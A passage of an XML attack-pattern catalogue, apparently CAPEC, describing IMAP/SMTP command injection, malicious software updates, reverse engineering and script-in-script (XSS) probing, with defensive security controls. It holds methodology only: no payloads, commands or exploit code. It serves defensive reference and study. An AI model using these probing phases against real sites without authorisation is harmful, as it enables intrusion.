					<!-- Insufficient Comparison -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanAlsoBe</Relationship_Nature>
					<Relationship_Target_ID>137<!--Parameter Injection--></Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/137.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Stefano Di Paola</Reference_Author>
					<Reference_Title>Finding Vulnerabilities in Flash Applications</Reference_Title>
					<Reference_Publication>Owasp Appsec 2007</Reference_Publication>
					<Reference_PubDate>15th November 2007</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Title>A Lazy Pen Tester’s Guide to Testing Flash
						Applications</Reference_Title>
					<Reference_Link>http://www.ivizsecurity.com/blog/web-application-security/testing-flash-applications-pen-tester-guide/</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Create More Secure SWF Web Application</Reference_Title>
					<Reference_Link>http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="183" Name="IMAP/SMTP Command Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits weaknessness in input validation on IMAP/SMTP servers
						to execute commands on the server. Web-mail servers often sit between the
						Internet and the IMAP or SMTP mail server. User requests are received by the
						web-mail servers which then query the back-end mail server for the requested
						information and return this response to the user. In an IMAP/SMTP command
						injection attack, mail-server commands are embedded in parts of the request
						sent to the web-mail server. If the web-mail server fails to adequately
						sanitize these requests, these commands are then sent to the back-end mail
						server when it is queried by the web-mail server, where the commands are
						then executed. This attack can be especially dangerous since administrators
						may assume that the back-end server is protected against direct Internet
						access and therefore may not secure it adequately against the execution of
						malicious commands.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target environment must consist of a web-mail server that the attacker
						can query and a back-end mail server. The back-end mail server need not be
						directly accessible to the attacker.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The web-mail server must fail to adequately sanitize fields received from
						users and passed on to the back-end mail server.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The back-end mail server must not be adequately secured against receiving
						malicious commands from the web-mail server.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for this attack. However, in most cases, the
					attacker will need to be a recognized user of the web-mail server.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>248<!--Command Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://www.owasp.org/index.php/Testing_for_IMAP/SMTP_Injection_(OWASP-DV-011)</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="184" Name="Software Integrity Attacks" Pattern_Abstraction="Meta"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker initiates a series of events designed to cause a user,
						program, server, or device to perform actions which undermine the integrity
						of software code, device data structures, or device firmware, achieving the
						modification of the target's integrity to achieve an insecure state.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Type>
						<Text>Manual or user-assisted attacks require deceptive mechanisms to trick
							the user into clicking a link or downloading and installing software.
							Automated update attacks require the attacker to host a payload and then
							trigger the installation of the payload code.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Software Integrity Attacks are usually a late stage focus of attack activity
					which depends upon the success of a chain of prior events. The resources
					required to perform the attack vary with respect to the overall attack strategy,
					existing countermeasures which must be bypassed, and the success of early phase
					attack vectors.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>494<!--Download of Code Without Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="185" Name="Malicious Software Download" Pattern_Abstraction="Meta"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses deceptive methods to cause a user or an automated process
						to download and install dangerous code that originates from an attacker
						controlled source. There are several variations to this strategy of attack.
					</Text>
				</Summary>
			</Description>
			<Typical_Severity>Very High</Typical_Severity>
			<Resources_Required/>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>494<!--Download of Code Without Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>184<!--Software Integrity Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="186" Name="Malicious Software Update" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses deceptive methods to cause a user or an automated process
						to download and install dangerous code believed to be a valid update that
						originates from an attacker controlled source. Although there are several
						variations to this strategy of attack, the attack methods are united in that
						all rely on the ability of an attacker to position and disguise malicious
						content such that it masquerades as a legitimate software update which is
						then processed by a program, undermining application integrity. As such the
						attack employs 'spoofing' techniques augmented by psychological or
						technological mechanisms to disguise the update and/or its source.</Text>
					<Text>Virtually all software requires frequent updates or patches, giving the
						attacker immense latitude when structuring the attack, as well as many
						targets of opportunity. Attacks involving malicious software updates can be
						targeted or untargeted in reference to a population of users, and can also
						involve manual and automatic means of payload installation. Untargeted
						attacks rely upon a mass delivery system such as spamming, phishing, or
						trojans/botnets to distribute emails or other messages to vast populations
						of users.</Text>
					<Text>Targeted attacks aim at a particular demographic or user population.
						Manual, or user-assisted attacks, vary from requiring the user to download
						and run an executable, to as streamlined as tricking the user on clicking a
						single url. Attacks which aim at penetrating a specific network
						infrastructure often rely upon secondary attack methods to achieve the
						desired impact. Spamming, for example, is a common method employed as an
						secondary attack vector. Thus the attacker has in his or her arsenal a
						choice of initial attack vectors ranging from traditional SMTP/POP/IMAP
						spamming and its varieties, to web-application mechanisms which commonly
						implement both chat and rich HTML messaging within the user
						interface.</Text>
					<Text>Corporate Facebook or Myspace pages make it easy to target users of a
						specific company or affiliation without relying on email address harvesting
						or spamming. One phishing-assisted variation on this attack involves hosting
						what appears to be a software update, then harvesting actual email addresses
						for an organization, or generating commonly used email addresses, and then
						sending spam, phishing, or spear-phishing emails to the organization's users
						requesting that they manually download and install the malicious software
						update. This type of attack has also been conducted using an Instant
						Messaging virus payload, which harvests the names from a users contact list
						and sends instant messages to those users to download and apply the update.
						While both methods involve a high degree of automated mechanisms to support
						the attack, the primary vector for achieving the installation of the update
						remains a manual user-directed process, although clicking a link within an
						IM client or web application may initiate the update.</Text>
					<Text>Manual attacks of this nature are common and frequently supported by
						social networking sites, such as Myspace or Facebook, and have proven to be
						immensely successful. Automated attacks involving malicious software updates
						require little to no user-directed activity and are therefore advantageous
						because they avoid the complex preliminary setup stages of manual attacks,
						which must effectively 'hook' users while avoiding countermeasures such as
						spam filters or web security filters.</Text>
					<Text>Automated update mechanisms typically come in two kinds, each requiring
						different mechanics for exploitation. 'Pull' mechanisms retrieve periodic
						updates from a server, a process in which the client software or local
						server installation retrieves the update from a remote network source. While
						'Pull' mechanisms are highly automated there is still some user directed
						activity involved in the update process. 'Push' mechanisms involve a remote
						server sending an update to a client, which is typically processed when it
						is received. A characteristic of 'Push' updates is that they typically
						involve the least user interaction within the update process, thus narrowing
						the scope of the attack to automated mechanisms. Automated update attacks
						typically exploit a lack of technical mechanisms to validate the integrity
						of code before it is downloaded.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Manual or user-assisted attacks require deceptive mechanisms to trick the user
					into clicking a link or downloading and installing software. Automated update
					attacks require the attacker to host a payload and then trigger the installation
					of the payload code.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>494<!--Download of Code Without Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>185<!--Malicious Software Download--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text/>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="187" Name="Malicious Automated Software Update"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in a server or client's process of
						delivering and verifying the integrity of code supplied by an
						update-providing server or mechanism to cause code of the attacker's
						choosing to be downloaded and installed as a software update. Attacks
						against automated update mechanisms involve attack vectors which are
						specific to the type of update mechanism, but typically involve two
						different attack strategies: redirection or spoofing. Redirection-based
						attacks exploit two layers of weaknesses in server or client software to
						undermine the integrity of the target code-base.</Text>
					<Text>The first weakness involves a failure to properly authenticate a server as
						a source of update or patch content. This type of weakness typically results
						from authentication mechanisms which can be defeated, allowing a hostile
						server to satisfy the criteria that establish a trust relationship. The
						second weakness is a systemic failure to validate the identity and integrity
						of code downloaded from a remote location, hence the inability to
						distinguish malicious code from a legitimate update.</Text>
					<Text>One predominate type of redirection attack requires DNS spoofing or
						hijacking of a domain name corresponding to an update server. The target
						software initiates an update request and the DNS request resolves the domain
						name of the update server to the IP address of the attacker, at which point
						the software accepts updates either transmitted by or pulled from the
						attacker's server. Attacks against DNS mechanisms comprise an initial phase
						of a chain of attacks that facilitate automated update hijacking attack, and
						such attacks have a precedent in targeted activities that have been as
						complex as DNS/BIND attacks of corporate infrastructures, to untargeted
						attacks aimed at compromising home broadband routers, as well as attacks
						involving the compromise of wireless access points, as well as 'evil twin'
						attacks coupled with DNS redirection. Due to the plethora of options open to
						the attacker in forcing name resolution to arbitrary servers the Automated
						Update Hijacking attack strategies are the tip of the spear for many
						multi-stage attack chains.</Text>
					<Text>The second weakness that is exploited by the attacker is the lack of
						integrity checking by the software in validating the update. Software which
						relies only upon domain name resolution to establish the identity of update
						code is particularly vulnerable, because this signals an absence of other
						security countermeasures that could be applied to invalidate the attacker's
						payload on basis of code identity, hashing, signing, encryption, and other
						integrity checking mechanisms. Redirection-based attack patterns work
						equally well against client-side software as well as local servers or
						daemons that provide software update functionality. One precedent of
						redirection-based attacks involves the active exploitation of Firefox
						extensions, such as the Google Toolbar, Yahoo Toolbar, Facebook Toolbar, and
						others.</Text>
					<Text>The second strategy employed in Automated Hijacking Attacks are spoofing
						strategies, including content or identity spoofing, as well as protocol
						spoofing. Content or identity spoofing attacks can trigger updates in
						software by embedding scripted mechanisms within a malicious web page, which
						masquerades as a legitimate update source. Scripting mechanisms communicate
						with software components and trigger updates from locations specified by the
						attacker's server. Such attacks have numerous precedents, one in particular
						being eTrust Antivirus Webscan Automated Update Remote Code Execution
						vulnerability (CVE-2006-3976) and (CVE-2006-3977) whereby an ActiveX control
						could be remotely manipulated by an attacker controlled web page to download
						and execute the attacker's code without integrity checking.</Text>
				</Summary>
			</Description>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text/>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>494<!--Download of Code Without Integrity Check--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>186<!--Malicious Software Update--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>105<!--HTTP Request Splitting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="188" Name="Reverse Engineering" Pattern_Abstraction="Meta"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker discovers the structure, function, and composition of an
						object, resource, or system by using a variety of analysis techniques to
						effectively determine how the analyzed entity was constructed or operates.
						The goal of reverse engineering is often to duplicate the function, or a
						part of the function, of an object in order to duplicate or "back engineer"
						some aspect of its functioning. Reverse engineering techniques can be
						applied to mechanical objects, electronic devices or components, or to
						software, although the methodology and techniques involved in each type of
						analysis differ widely.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Access to or control of an object, resource, or system, to be analyzed. The
					technical resources required to engage in reverse engineering differ in
					accordance with the type of object, resource, or system being analyzed.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>798<!--Use of Hard-coded Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>259<!--Use of Hard-coded Password--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>281<!--Analytic Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Description>
						<Text>http://en.wikipedia.org/wiki/Reverse_engineering</Text>
					</Reference_Description>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="189" Name="Software Reverse Engineering" Pattern_Abstraction="Meta"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker discovers the structure, function, and composition of a type
						of computer software by using a variety of analysis techniques to
						effectively determine how the software functions and operates, or if
						vulnerabilities or security weakness are present within the implementation.
						Reverse engineering methods, as applied to software, can utilize a wide
						number approaches and techniques.</Text>
					<Text>Methodologies for software reverse engineering fall into two broad
						categories, 'white box' and 'black box.' White box techniques involve
						methods which can be applied to a piece of software when an executable or
						some other compiled object can be directly subjected to analysis, revealing
						at least a portion of its machine instructions that can be observed upon
						execution. 'Black Box' methods involve interacting with the software
						indirectly, in the absence of the ability to measure, instrument, or analyze
						an executable object directly. Such analysis typically involves interacting
						with the software at the boundaries of where the software interfaces with a
						larger execution environment, such as input-output vectors, libraries, or
						APIs.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Reverse engineering of software requires varying tools and methods depending
					upon whether an executable or other compiled object is present directly for
					analysis by tools capable of decompiling or monitoring its execution within an
					operating environment, as in the case of white box methods. Black box methods
					require at minimum the ability to interact with the functional boundaries where
					the software communicates with a larger processing environment, such as
					inter-process communication on a host operating system, or via networking
					protocols.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>798<!--Use of Hard-coded Credentials--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>259<!--Use of Hard-coded Password--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>188<!--Reverse Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="19" Name="Embedding Scripts within Scripts"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a programs' vulnerabilities that are
						brought on by allowing remote hosts to execute scripts. The attacker
						leverages this capability to execute scripts to execute his/her own script
						by embedding it within other scripts that the target software is likely to
						execute. The attacker must have the ability to inject script into script
						that is likely to be executed. If this is done, then the attacker can
						potentially launch a variety of probes and attacks against the web server's
						local environment, in many cases the so-called DMZ, back end resources the
						web server can communicate with, and other hosts.</Text>
					<Text>With the proliferation of intermediaries, such as Web App Firewalls,
						network devices, and even printers having JVMs and Web servers, there are
						many locales where an attacker can inject malicious scripts. Since this
						attack pattern defines scripts within scripts, there are likely privileges
						to execute said attack on the host.</Text>
					<Text>Of course, these attacks are not solely limited to the server side, client
						side scripts like Ajax and client side Javascript can contain malicious
						scripts as well. In general all that is required is for there to be
						sufficient privileges to execute a script, but not protected against
						writing.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												records all entry points for inputs that happen to
												be reflected in a client-side script element. These
												script elements can be located in the HTML content
												(head, body, comments), in an HTML tag, XML, CSS,
												etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all non static links that are likely to have input
												parameters (through forms, URL, fragments, etc.)
												actively used by the Web application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are used in a script element (script
												tag, DOM, etc.) and not in another type of
												element.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path or the URL fragment.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker. These parameters are
												possibly used in client-side scripts
												elements.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe identified potential entry points
											for XSS vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												common script payloads to determine if an entry
												point actually represents a vulnerability and to
												characterize the extent to which the vulnerability
												can be exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually inject various script payloads into
												each identified entry point using a list of common
												script injection probes that typically work in a
												client-side script elements context and observe
												system behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manually inject various script payloads into
												each identified entry point using a list of common
												script injection probes that typically work in a
												server-side script elements context and observe
												system behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use an automated injection attack tool to
												inject various script payloads into each
												identified entry point using a list of common
												script injection probes that typically work in a
												client-side script elements context and observe
												system behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use an automated injection attack tool to
												inject various script payloads into each
												identified entry point using a list of common
												script injection probes that typically work in a
												server-side script elements context and observe
												system behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of the
												created requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>User-controllable input is output back to
												the browser</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>User-controllable input is embedded as part
												of script elements</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Output to the browser is not encoded to
												remove executable scripting syntax</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Positive">
												<Indicator_Description>
												<Text>Server-side components execute script
												elements containing user-controllable input</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's script string is
												being reflected verbatim at some point in the web
												site (if not on the same page). Note that
												sometimes, the payload might be well encoded in
												the page, but wouldn't be encoded at all in some
												other section of the same web page (title,
												etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker's script string is
												executed by the server-side
												component.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>All context-sensitive
												characters are consistently re-encoded before
												being sent to the web
												browser.</Outcome_Description>
											</Outcome>
											<Outcome ID="4" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are not.
												Depending on which type of non-script element the
												payload is injected in, it may be possible to
												evade the encodings.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers (not only GET, but all potential inputs
												like COOKIES, POST, HEADER), application servers,
												and other HTTP infrastructure (e.g., load
												balancers). Alert on standard XSS probes. The
												majority of attackers use well known strings to
												check for vulnerabilities. Use the same
												vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not embed
												user-controllable input in script
												elements.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
